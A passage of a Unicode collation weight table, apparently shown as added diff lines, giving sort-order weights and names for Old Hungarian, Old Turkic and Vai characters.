+10C8B ; [.370C.0020.000A][.0000.0111.0004] # OLD HUNGARIAN CAPITAL LETTER EE
+10CCC ; [.370D.0020.0002] # OLD HUNGARIAN SMALL LETTER EF
+10C8C ; [.370D.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EF
+10CCD ; [.370E.0020.0002] # OLD HUNGARIAN SMALL LETTER EG
+10C8D ; [.370E.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EG
+10CCE ; [.370F.0020.0002] # OLD HUNGARIAN SMALL LETTER EGY
+10C8E ; [.370F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EGY
+10CCF ; [.3710.0020.0002] # OLD HUNGARIAN SMALL LETTER EH
+10C8F ; [.3710.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EH
+10CD0 ; [.3711.0020.0002] # OLD HUNGARIAN SMALL LETTER I
+10C90 ; [.3711.0020.0008] # OLD HUNGARIAN CAPITAL LETTER I
+10CD1 ; [.3711.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER II
+10C91 ; [.3711.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER II
+10CD2 ; [.3712.0020.0002] # OLD HUNGARIAN SMALL LETTER EJ
+10C92 ; [.3712.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EJ
+10CD3 ; [.3713.0020.0002] # OLD HUNGARIAN SMALL LETTER EK
+10C93 ; [.3713.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EK
+10CD4 ; [.3714.0020.0002] # OLD HUNGARIAN SMALL LETTER AK
+10C94 ; [.3714.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AK
+10CD5 ; [.3715.0020.0002] # OLD HUNGARIAN SMALL LETTER UNK
+10C95 ; [.3715.0020.0008] # OLD HUNGARIAN CAPITAL LETTER UNK
+10CD6 ; [.3716.0020.0002] # OLD HUNGARIAN SMALL LETTER EL
+10C96 ; [.3716.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EL
+10CD7 ; [.3717.0020.0002] # OLD HUNGARIAN SMALL LETTER ELY
+10C97 ; [.3717.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ELY
+10CD8 ; [.3718.0020.0002] # OLD HUNGARIAN SMALL LETTER EM
+10C98 ; [.3718.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EM
+10CD9 ; [.3719.0020.0002] # OLD HUNGARIAN SMALL LETTER EN
+10C99 ; [.3719.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EN
+10CDA ; [.371A.0020.0002] # OLD HUNGARIAN SMALL LETTER ENY
+10C9A ; [.371A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENY
+10CDB ; [.371B.0020.0002] # OLD HUNGARIAN SMALL LETTER O
+10C9B ; [.371B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER O
+10CDC ; [.371B.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER OO
+10C9C ; [.371B.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER OO
+10CDD ; [.371C.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE
+10C9D ; [.371C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
+10CDE ; [.371C.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA OE
+10C9E ; [.371C.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
+10CDF ; [.371C.0020.0004][.0000.0111.0004] # OLD HUNGARIAN SMALL LETTER OEE
+10C9F ; [.371C.0020.000A][.0000.0111.0004] # OLD HUNGARIAN CAPITAL LETTER OEE
+10CE0 ; [.371D.0020.0002] # OLD HUNGARIAN SMALL LETTER EP
+10CA0 ; [.371D.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EP
+10CE1 ; [.371E.0020.0002] # OLD HUNGARIAN SMALL LETTER EMP
+10CA1 ; [.371E.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EMP
+10CE2 ; [.371F.0020.0002] # OLD HUNGARIAN SMALL LETTER ER
+10CA2 ; [.371F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ER
+10CE3 ; [.371F.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER SHORT ER
+10CA3 ; [.371F.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER SHORT ER
+10CE4 ; [.3720.0020.0002] # OLD HUNGARIAN SMALL LETTER ES
+10CA4 ; [.3720.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ES
+10CE5 ; [.3721.0020.0002] # OLD HUNGARIAN SMALL LETTER ESZ
+10CA5 ; [.3721.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ESZ
+10CE6 ; [.3722.0020.0002] # OLD HUNGARIAN SMALL LETTER ET
+10CA6 ; [.3722.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ET
+10CE7 ; [.3723.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT
+10CA7 ; [.3723.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT
+10CE8 ; [.3724.0020.0002] # OLD HUNGARIAN SMALL LETTER ETY
+10CA8 ; [.3724.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ETY
+10CE9 ; [.3725.0020.0002] # OLD HUNGARIAN SMALL LETTER ECH
+10CA9 ; [.3725.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECH
+10CEA ; [.3726.0020.0002] # OLD HUNGARIAN SMALL LETTER U
+10CAA ; [.3726.0020.0008] # OLD HUNGARIAN CAPITAL LETTER U
+10CEB ; [.3726.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER UU
+10CAB ; [.3726.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER UU
+10CEC ; [.3727.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE
+10CAC ; [.3727.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
+10CED ; [.3727.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA UE
+10CAD ; [.3727.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
+10CEE ; [.3728.0020.0002] # OLD HUNGARIAN SMALL LETTER EV
+10CAE ; [.3728.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EV
+10CEF ; [.3729.0020.0002] # OLD HUNGARIAN SMALL LETTER EZ
+10CAF ; [.3729.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZ
+10CF0 ; [.372A.0020.0002] # OLD HUNGARIAN SMALL LETTER EZS
+10CB0 ; [.372A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZS
+10CF1 ; [.372B.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN
+10CB1 ; [.372B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
+10CF2 ; [.372C.0020.0002] # OLD HUNGARIAN SMALL LETTER US
+10CB2 ; [.372C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER US
+10C00 ; [.372D.0020.0002] # OLD TURKIC LETTER ORKHON A
+10C01 ; [.372D.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI A
+10C02 ; [.372E.0020.0002] # OLD TURKIC LETTER YENISEI AE
+10C03 ; [.372F.0020.0002] # OLD TURKIC LETTER ORKHON I
+10C04 ; [.372F.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI I
+10C05 ; [.3730.0020.0002] # OLD TURKIC LETTER YENISEI E
+10C06 ; [.3731.0020.0002] # OLD TURKIC LETTER ORKHON O
+10C07 ; [.3732.0020.0002] # OLD TURKIC LETTER ORKHON OE
+10C08 ; [.3732.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI OE
+10C09 ; [.3733.0020.0002] # OLD TURKIC LETTER ORKHON AB
+10C0A ; [.3733.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AB
+10C0B ; [.3734.0020.0002] # OLD TURKIC LETTER ORKHON AEB
+10C0C ; [.3734.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEB
+10C0D ; [.3735.0020.0002] # OLD TURKIC LETTER ORKHON AG
+10C0E ; [.3735.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AG
+10C0F ; [.3736.0020.0002] # OLD TURKIC LETTER ORKHON AEG
+10C10 ; [.3736.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEG
+10C11 ; [.3737.0020.0002] # OLD TURKIC LETTER ORKHON AD
+10C12 ; [.3737.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AD
+10C13 ; [.3738.0020.0002] # OLD TURKIC LETTER ORKHON AED
+10C14 ; [.3739.0020.0002] # OLD TURKIC LETTER ORKHON EZ
+10C15 ; [.3739.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI EZ
+10C16 ; [.373A.0020.0002] # OLD TURKIC LETTER ORKHON AY
+10C17 ; [.373A.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AY
+10C18 ; [.373B.0020.0002] # OLD TURKIC LETTER ORKHON AEY
+10C19 ; [.373B.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEY
+10C1A ; [.373C.0020.0002] # OLD TURKIC LETTER ORKHON AEK
+10C1B ; [.373C.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEK
+10C1C ; [.373D.0020.0002] # OLD TURKIC LETTER ORKHON OEK
+10C1D ; [.373D.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI OEK
+10C1E ; [.373E.0020.0002] # OLD TURKIC LETTER ORKHON AL
+10C1F ; [.373E.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AL
+10C20 ; [.373F.0020.0002] # OLD TURKIC LETTER ORKHON AEL
+10C21 ; [.3740.0020.0002] # OLD TURKIC LETTER ORKHON ELT
+10C22 ; [.3741.0020.0002] # OLD TURKIC LETTER ORKHON EM
+10C23 ; [.3742.0020.0002] # OLD TURKIC LETTER ORKHON AN
+10C24 ; [.3743.0020.0002] # OLD TURKIC LETTER ORKHON AEN
+10C25 ; [.3743.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEN
+10C26 ; [.3744.0020.0002] # OLD TURKIC LETTER ORKHON ENT
+10C27 ; [.3744.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ENT
+10C28 ; [.3745.0020.0002] # OLD TURKIC LETTER ORKHON ENC
+10C29 ; [.3745.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ENC
+10C2A ; [.3746.0020.0002] # OLD TURKIC LETTER ORKHON ENY
+10C2B ; [.3746.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ENY
+10C2C ; [.3747.0020.0002] # OLD TURKIC LETTER YENISEI ANG
+10C2D ; [.3748.0020.0002] # OLD TURKIC LETTER ORKHON ENG
+10C2E ; [.3748.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AENG
+10C2F ; [.3749.0020.0002] # OLD TURKIC LETTER ORKHON EP
+10C30 ; [.374A.0020.0002] # OLD TURKIC LETTER ORKHON OP
+10C31 ; [.374B.0020.0002] # OLD TURKIC LETTER ORKHON IC
+10C32 ; [.374C.0020.0002] # OLD TURKIC LETTER ORKHON EC
+10C33 ; [.374C.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI EC
+10C34 ; [.374D.0020.0002] # OLD TURKIC LETTER ORKHON AQ
+10C35 ; [.374D.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AQ
+10C36 ; [.374E.0020.0002] # OLD TURKIC LETTER ORKHON IQ
+10C37 ; [.374E.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI IQ
+10C38 ; [.374F.0020.0002] # OLD TURKIC LETTER ORKHON OQ
+10C39 ; [.374F.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI OQ
+10C3A ; [.3750.0020.0002] # OLD TURKIC LETTER ORKHON AR
+10C3B ; [.3750.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AR
+10C3C ; [.3751.0020.0002] # OLD TURKIC LETTER ORKHON AER
+10C3D ; [.3752.0020.0002] # OLD TURKIC LETTER ORKHON AS
+10C3E ; [.3753.0020.0002] # OLD TURKIC LETTER ORKHON AES
+10C3F ; [.3754.0020.0002] # OLD TURKIC LETTER ORKHON ASH
+10C40 ; [.3754.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ASH
+10C41 ; [.3755.0020.0002] # OLD TURKIC LETTER ORKHON ESH
+10C42 ; [.3755.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ESH
+10C43 ; [.3756.0020.0002] # OLD TURKIC LETTER ORKHON AT
+10C44 ; [.3756.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AT
+10C45 ; [.3757.0020.0002] # OLD TURKIC LETTER ORKHON AET
+10C46 ; [.3757.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AET
+10C47 ; [.3758.0020.0002] # OLD TURKIC LETTER ORKHON OT
+10C48 ; [.3759.0020.0002] # OLD TURKIC LETTER ORKHON BASH
+A500  ; [.375A.0020.0002] # VAI SYLLABLE EE
+A501  ; [.375B.0020.0002] # VAI SYLLABLE EEN
+A502  ; [.375C.0020.0002] # VAI SYLLABLE HEE
+A503  ; [.375D.0020.0002] # VAI SYLLABLE WEE
+A504  ; [.375E.0020.0002] # VAI SYLLABLE WEEN
+A505  ; [.375F.0020.0002] # VAI SYLLABLE PEE
+A506  ; [.3760.0020.0002] # VAI SYLLABLE BHEE
+A507  ; [.3761.0020.0002] # VAI SYLLABLE BEE
+A508  ; [.3762.0020.0002] # VAI SYLLABLE MBEE
+A509  ; [.3763.0020.0002] # VAI SYLLABLE KPEE
+A50A  ; [.3764.0020.0002] # VAI SYLLABLE MGBEE
+A50B  ; [.3765.0020.0002] # VAI SYLLABLE GBEE
+A50C  ; [.3766.0020.0002] # VAI SYLLABLE FEE
+A613  ; [.3766.0020.0004][.3865.0020.0004] # VAI SYMBOL FEENG
+A50D  ; [.3767.0020.0002] # VAI SYLLABLE VEE
+A50E  ; [.3768.0020.0002] # VAI SYLLABLE TEE
+A50F  ; [.3769.0020.0002] # VAI SYLLABLE THEE
+A510  ; [.376A.0020.0002] # VAI SYLLABLE DHEE
+A511  ; [.376B.0020.0002] # VAI SYLLABLE DHHEE
+A512  ; [.376C.0020.0002] # VAI SYLLABLE LEE
+A513  ; [.376D.0020.0002] # VAI SYLLABLE REE
+A514  ; [.376E.0020.0002] # VAI SYLLABLE DEE
+A515  ; [.376F.0020.0002] # VAI SYLLABLE NDEE
+A516  ; [.3770.0020.0002] # VAI SYLLABLE SEE
+A517  ; [.3771.0020.0002] # VAI SYLLABLE SHEE
+A518  ; [.3772.0020.0002] # VAI SYLLABLE ZEE
+A519  ; [.3773.0020.0002] # VAI SYLLABLE ZHEE
+A51A  ; [.3774.0020.0002] # VAI SYLLABLE CEE
+A51B  ; [.3775.0020.0002] # VAI SYLLABLE JEE
+A51C  ; [.3776.0020.0002] # VAI SYLLABLE NJEE
+A51D  ; [.3777.0020.0002] # VAI SYLLABLE YEE
+A51E  ; [.3778.0020.0002] # VAI SYLLABLE KEE
+A614  ; [.3778.0020.0004][.3865.0020.0004] # VAI SYMBOL KEENG
+A51F  ; [.3779.0020.0002] # VAI SYLLABLE NGGEE
+A520  ; [.377A.0020.0002] # VAI SYLLABLE GEE
+A521  ; [.377B.0020.0002] # VAI SYLLABLE MEE
+A522  ; [.377C.0020.0002] # VAI SYLLABLE NEE
+A523  ; [.377D.0020.0002] # VAI SYLLABLE NYEE
+A524  ; [.377E.0020.0002] # VAI SYLLABLE I
+A525  ; [.377F.0020.0002] # VAI SYLLABLE IN
+A526  ; [.3780.0020.0002] # VAI SYLLABLE HI
+A527  ; [.3781.0020.0002] # VAI SYLLABLE HIN
+A528  ; [.3782.0020.0002] # VAI SYLLABLE WI
+A529  ; [.3783.0020.0002] # VAI SYLLABLE WIN
+A52A  ; [.3784.0020.0002] # VAI SYLLABLE PI
+A52B  ; [.3785.0020.0002] # VAI SYLLABLE BHI
+A52C  ; [.3786.0020.0002] # VAI SYLLABLE BI
+A52D  ; [.3787.0020.0002] # VAI SYLLABLE MBI
+A52E  ; [.3788.0020.0002] # VAI SYLLABLE KPI
+A52F  ; [.3789.0020.0002] # VAI SYLLABLE MGBI
+A530  ; [.378A.0020.0002] # VAI SYLLABLE GBI
+A531  ; [.378B.0020.0002] # VAI SYLLABLE FI
+A532  ; [.378C.0020.0002] # VAI SYLLABLE VI
+A533  ; [.378D.0020.0002] # VAI SYLLABLE TI
+A615  ; [.378D.0020.0004][.3865.0020.0004] # VAI SYMBOL TING
+A534  ; [.378E.0020.0002] # VAI SYLLABLE THI
+A535  ; [.378F.0020.0002] # VAI SYLLABLE DHI
+A536  ; [.3790.0020.0002] # VAI SYLLABLE DHHI
+A537  ; [.3791.0020.0002] # VAI SYLLABLE LI
+A538  ; [.3792.0020.0002] # VAI SYLLABLE RI
+A539  ; [.3793.0020.0002] # VAI SYLLABLE DI
+A53A  ; [.3794.0020.0002] # VAI SYLLABLE NDI
+A53B  ; [.3795.0020.0002] # VAI SYLLABLE SI
+A53C  ; [.3796.0020.0002] # VAI SYLLABLE SHI
+A53D  ; [.3797.0020.0002] # VAI SYLLABLE ZI
+A53E  ; [.3798.0020.0002] # VAI SYLLABLE ZHI
+A53F  ; [.3799.0020.0002] # VAI SYLLABLE CI
+A540  ; [.379A.0020.0002] # VAI SYLLABLE JI
+A541  ; [.379B.0020.0002] # VAI SYLLABLE NJI
+A542  ; [.379C.0020.0002] # VAI SYLLABLE YI
+A543  ; [.379D.0020.0002] # VAI SYLLABLE KI
+A544  ; [.379E.0020.0002] # VAI SYLLABLE NGGI
+A545  ; [.379F.0020.0002] # VAI SYLLABLE GI
+A546  ; [.37A0.0020.0002] # VAI SYLLABLE MI
+A547  ; [.37A1.0020.0002] # VAI SYLLABLE NI
+A616  ; [.37A1.0020.0004][.3866.0020.0004] # VAI SYMBOL NII
+A548  ; [.37A2.0020.0002] # VAI SYLLABLE NYI
+A549  ; [.37A3.0020.0002] # VAI SYLLABLE A
+A54A  ; [.37A4.0020.0002] # VAI SYLLABLE AN
+A54B  ; [.37A5.0020.0002] # VAI SYLLABLE NGAN
+A54C  ; [.37A6.0020.0002] # VAI SYLLABLE HA
+A54D  ; [.37A7.0020.0002] # VAI SYLLABLE HAN
+A54E  ; [.37A8.0020.0002] # VAI SYLLABLE WA
+A54F  ; [.37A9.0020.0002] # VAI SYLLABLE WAN
+A550  ; [.37AA.0020.0002] # VAI SYLLABLE PA
+A551  ; [.37AB.0020.0002] # VAI SYLLABLE BHA
+A552  ; [.37AC.0020.0002] # VAI SYLLABLE BA
+A617  ; [.37AC.0020.0004][.3865.0020.0004] # VAI SYMBOL BANG
+A553  ; [.37AD.0020.0002] # VAI SYLLABLE MBA
+A554  ; [.37AE.0020.0002] # VAI SYLLABLE KPA
+A555  ; [.37AF.0020.0002] # VAI SYLLABLE KPAN
+A556  ; [.37B0.0020.0002] # VAI SYLLABLE MGBA
+A557  ; [.37B1.0020.0002] # VAI SYLLABLE GBA
+A558  ; [.37B2.0020.0002] # VAI SYLLABLE FA
+A610  ; [.37B2.0020.0004] # VAI SYLLABLE NDOLE FA
+A618  ; [.37B2.0020.0004][.3866.0020.0004] # VAI SYMBOL FAA
+A559  ; [.37B3.0020.0002] # VAI SYLLABLE VA
+A55A  ; [.37B4.0020.0002] # VAI SYLLABLE TA
+A619  ; [.37B4.0020.0004][.3866.0020.0004] # VAI SYMBOL TAA
+A55B  ; [.37B5.0020.0002] # VAI SYLLABLE THA
+A55C  ; [.37B6.0020.0002] # VAI SYLLABLE DHA
+A55D  ; [.37B7.0020.0002] # VAI SYLLABLE DHHA
+A55E  ; [.37B8.0020.0002] # VAI SYLLABLE LA
+A55F  ; [.37B9.0020.0002] # VAI SYLLABLE RA
+A560  ; [.37BA.0020.0002] # VAI SYLLABLE DA
+A61A  ; [.37BA.0020.0004][.3865.0020.0004] # VAI SYMBOL DANG
+A561  ; [.37BB.0020.0002] # VAI SYLLABLE NDA
+A562  ; [.37BC.0020.0002] # VAI SYLLABLE SA
+A563  ; [.37BD.0020.0002] # VAI SYLLABLE SHA
+A564  ; [.37BE.0020.0002] # VAI SYLLABLE ZA
+A565  ; [.37BF.0020.0002] # VAI SYLLABLE ZHA
+A566  ; [.37C0.0020.0002] # VAI SYLLABLE CA
+A567  ; [.37C1.0020.0002] # VAI SYLLABLE JA
+A568  ; [.37C2.0020.0002] # VAI SYLLABLE NJA
+A569  ; [.37C3.0020.0002] # VAI SYLLABLE YA
+A56A  ; [.37C4.0020.0002] # VAI SYLLABLE KA
+A611  ; [.37C4.0020.0004] # VAI SYLLABLE NDOLE KA
+A56B  ; [.37C5.0020.0002] # VAI SYLLABLE KAN
+A56C  ; [.37C6.0020.0002] # VAI SYLLABLE NGGA
+A56D  ; [.37C7.0020.0002] # VAI SYLLABLE GA
+A56E  ; [.37C8.0020.0002] # VAI SYLLABLE MA
+A62A  ; [.37C8.0020.0004] # VAI SYLLABLE NDOLE MA
+A56F  ; [.37C9.0020.0002] # VAI SYLLABLE NA
+A570  ; [.37CA.0020.0002] # VAI SYLLABLE NYA
+A571  ; [.37CB.0020.0002] # VAI SYLLABLE OO
+A572  ; [.37CC.0020.0002] # VAI SYLLABLE OON
+A573  ; [.37CD.0020.0002] # VAI SYLLABLE HOO
+A574  ; [.37CE.0020.0002] # VAI SYLLABLE WOO
+A575  ; [.37CF.0020.0002] # VAI SYLLABLE WOON
+A576  ; [.37D0.0020.0002] # VAI SYLLABLE POO
+A577  ; [.37D1.0020.0002] # VAI SYLLABLE BHOO
+A578  ; [.37D2.0020.0002] # VAI SYLLABLE BOO
+A579  ; [.37D3.0020.0002] # VAI SYLLABLE MBOO
+A57A  ; [.37D4.0020.0002] # VAI SYLLABLE KPOO
+A57B  ; [.37D5.0020.0002] # VAI SYLLABLE MGBOO
+A57C  ; [.37D6.0020.0002] # VAI SYLLABLE GBOO
+A57D  ; [.37D7.0020.0002] # VAI SYLLABLE FOO
+A57E  ; [.37D8.0020.0002] # VAI SYLLABLE VOO
+A57F  ; [.37D9.0020.0002] # VAI SYLLABLE TOO
+A580  ; [.37DA.0020.0002] # VAI SYLLABLE THOO
+A581  ; [.37DB.0020.0002] # VAI SYLLABLE DHOO
+A582  ; [.37DC.0020.0002] # VAI SYLLABLE DHHOO
+A583  ; [.37DD.0020.0002] # VAI SYLLABLE LOO
+A584  ; [.37DE.0020.0002] # VAI SYLLABLE ROO
+A585  ; [.37DF.0020.0002] # VAI SYLLABLE DOO
+A61B  ; [.37DF.0020.0004][.3865.0020.0004] # VAI SYMBOL DOONG
+A586  ; [.37E0.0020.0002] # VAI SYLLABLE NDOO
+A587  ; [.37E1.0020.0002] # VAI SYLLABLE SOO
+A612  ; [.37E1.0020.0004] # VAI SYLLABLE NDOLE SOO
+A588  ; [.37E2.0020.0002] # VAI SYLLABLE SHOO
+A589  ; [.37E3.0020.0002] # VAI SYLLABLE ZOO
+A58A  ; [.37E4.0020.0002] # VAI SYLLABLE ZHOO
+A58B  ; [.37E5.0020.0002] # VAI SYLLABLE COO
+A58C  ; [.37E6.0020.0002] # VAI SYLLABLE JOO
+A58D  ; [.37E7.0020.0002] # VAI SYLLABLE NJOO
+A58E  ; [.37E8.0020.0002] # VAI SYLLABLE YOO
+A58F  ; [.37E9.0020.0002] # VAI SYLLABLE KOO
+A590  ; [.37EA.0020.0002] # VAI SYLLABLE NGGOO
+A591  ; [.37EB.0020.0002] # VAI SYLLABLE GOO
+A592  ; [.37EC.0020.0002] # VAI SYLLABLE MOO
+A593  ; [.37ED.0020.0002] # VAI SYLLABLE NOO
+A594  ; [.37EE.0020.0002] # VAI SYLLABLE NYOO
+A595  ; [.37EF.0020.0002] # VAI SYLLABLE U
+A596  ; [.37F0.0020.0002] # VAI SYLLABLE UN
+A597  ; [.37F1.0020.0002] # VAI SYLLABLE HU
+A598  ; [.37F2.0020.0002] # VAI SYLLABLE HUN
+A599  ; [.37F3.0020.0002] # VAI SYLLABLE WU
+A59A  ; [.37F4.0020.0002] # VAI SYLLABLE WUN
+A59B  ; [.37F5.0020.0002] # VAI SYLLABLE PU
+A59C  ; [.37F6.0020.0002] # VAI SYLLABLE BHU
+A59D  ; [.37F7.0020.0002] # VAI SYLLABLE BU
+A59E  ; [.37F8.0020.0002] # VAI SYLLABLE MBU
+A59F  ; [.37F9.0020.0002] # VAI SYLLABLE KPU
+A5A0  ; [.37FA.0020.0002] # VAI SYLLABLE MGBU
+A5A1  ; [.37FB.0020.0002] # VAI SYLLABLE GBU
+A5A2  ; [.37FC.0020.0002] # VAI SYLLABLE FU
+A5A3  ; [.37FD.0020.0002] # VAI SYLLABLE VU
+A5A4  ; [.37FE.0020.0002] # VAI SYLLABLE TU
+A5A5  ; [.37FF.0020.0002] # VAI SYLLABLE THU
+A5A6  ; [.3800.0020.0002] # VAI SYLLABLE DHU
+A5A7  ; [.3801.0020.0002] # VAI SYLLABLE DHHU
+A5A8  ; [.3802.0020.0002] # VAI SYLLABLE LU
+A5A9  ; [.3803.0020.0002] # VAI SYLLABLE RU
+A5AA  ; [.3804.0020.0002] # VAI SYLLABLE DU
+A5AB  ; [.3805.0020.0002] # VAI SYLLABLE NDU
+A5AC  ; [.3806.0020.0002] # VAI SYLLABLE SU
+A5AD  ; [.3807.0020.0002] # VAI SYLLABLE SHU
+A5AE  ; [.3808.0020.0002] # VAI SYLLABLE ZU
+A5AF  ; [.3809.0020.0002] # VAI SYLLABLE ZHU
+A5B0  ; [.380A.0020.0002] # VAI SYLLABLE CU
+A5B1  ; [.380B.0020.0002] # VAI SYLLABLE JU
+A5B2  ; [.380C.0020.0002] # VAI SYLLABLE NJU
+A5B3  ; [.380D.0020.0002] # VAI SYLLABLE YU
+A5B4  ; [.380E.0020.0002] # VAI SYLLABLE KU
+A61C  ; [.380E.0020.0004][.3865.0020.0004] # VAI SYMBOL KUNG
+A5B5  ; [.380F.0020.0002] # VAI SYLLABLE NGGU
+A5B6  ; [.3810.0020.0002] # VAI SYLLABLE GU
+A5B7  ; [.3811.0020.0002] # VAI SYLLABLE MU
+A5B8  ; [.3812.0020.0002] # VAI SYLLABLE NU
+A5B9  ; [.3813.0020.0002] # VAI SYLLABLE NYU
+A5BA  ; [.3814.0020.0002] # VAI SYLLABLE O
+A5BB  ; [.3815.0020.0002] # VAI SYLLABLE ON
+A5BC  ; [.3816.0020.0002] # VAI SYLLABLE NGON
+A5BD  ; [.3817.0020.0002] # VAI SYLLABLE HO
+A5BE  ; [.3818.0020.0002] # VAI SYLLABLE HON
+A5BF  ; [.3819.0020.0002] # VAI SYLLABLE WO
+A5C0  ; [.381A.0020.0002] # VAI SYLLABLE WON
+A5C1  ; [.381B.0020.0002] # VAI SYLLABLE PO
+A5C2  ; [.381C.0020.0002] # VAI SYLLABLE BHO
+A5C3  ; [.381D.0020.0002] # VAI SYLLABLE BO
+A5C4  ; [.381E.0020.0002] # VAI SYLLABLE MBO
+A5C5  ; [.381F.0020.0002] # VAI SYLLABLE KPO
+A5C6  ; [.3820.0020.0002] # VAI SYLLABLE MGBO
+A5C7  ; [.3821.0020.0002] # VAI SYLLABLE GBO
+A5C8  ; [.3822.0020.0002] # VAI SYLLABLE GBON
+A5C9  ; [.3823.0020.0002] # VAI SYLLABLE FO
+A5CA  ; [.3824.0020.0002] # VAI SYLLABLE VO
+A5CB  ; [.3825.0020.0002] # VAI SYLLABLE TO
+A61D  ; [.3825.0020.0004][.3865.0020.0004] # VAI SYMBOL TONG
+A5CC  ; [.3826.0020.0002] # VAI SYLLABLE THO
+A5CD  ; [.3827.0020.0002] # VAI SYLLABLE DHO
+A5CE  ; [.3828.0020.0002] # VAI SYLLABLE DHHO
+A5CF  ; [.3829.0020.0002] # VAI SYLLABLE LO
+A5D0  ; [.382A.0020.0002] # VAI SYLLABLE RO
+A5D1  ; [.382B.0020.0002] # VAI SYLLABLE DO
+A62B  ; [.382B.0020.0004] # VAI SYLLABLE NDOLE DO
+A61E  ; [.382B.0020.0004][.3866.0020.0004] # VAI SYMBOL DO-O
+A5D2  ; [.382C.0020.0002] # VAI SYLLABLE NDO
+A5D3  ; [.382D.0020.0002] # VAI SYLLABLE SO
+A5D4  ; [.382E.0020.0002] # VAI SYLLABLE SHO
+A5D5  ; [.382F.0020.0002] # VAI SYLLABLE ZO
+A5D6  ; [.3830.0020.0002] # VAI SYLLABLE ZHO
+A5D7  ; [.3831.0020.0002] # VAI SYLLABLE CO
+A5D8  ; [.3832.0020.0002] # VAI SYLLABLE JO
+A61F  ; [.3832.0020.0004][.3865.0020.0004] # VAI SYMBOL JONG
+A5D9  ; [.3833.0020.0002] # VAI SYLLABLE NJO
+A5DA  ; [.3834.0020.0002] # VAI SYLLABLE YO
+A5DB  ; [.3835.0020.0002] # VAI SYLLABLE KO
+A5DC  ; [.3836.0020.0002] # VAI SYLLABLE NGGO
+A5DD  ; [.3837.0020.0002] # VAI SYLLABLE GO
+A5DE  ; [.3838.0020.0002] # VAI SYLLABLE MO
+A5DF  ; [.3839.0020.0002] # VAI SYLLABLE NO
+A5E0  ; [.383A.0020.0002] # VAI SYLLABLE NYO
+A5E1  ; [.383B.0020.0002] # VAI SYLLABLE E
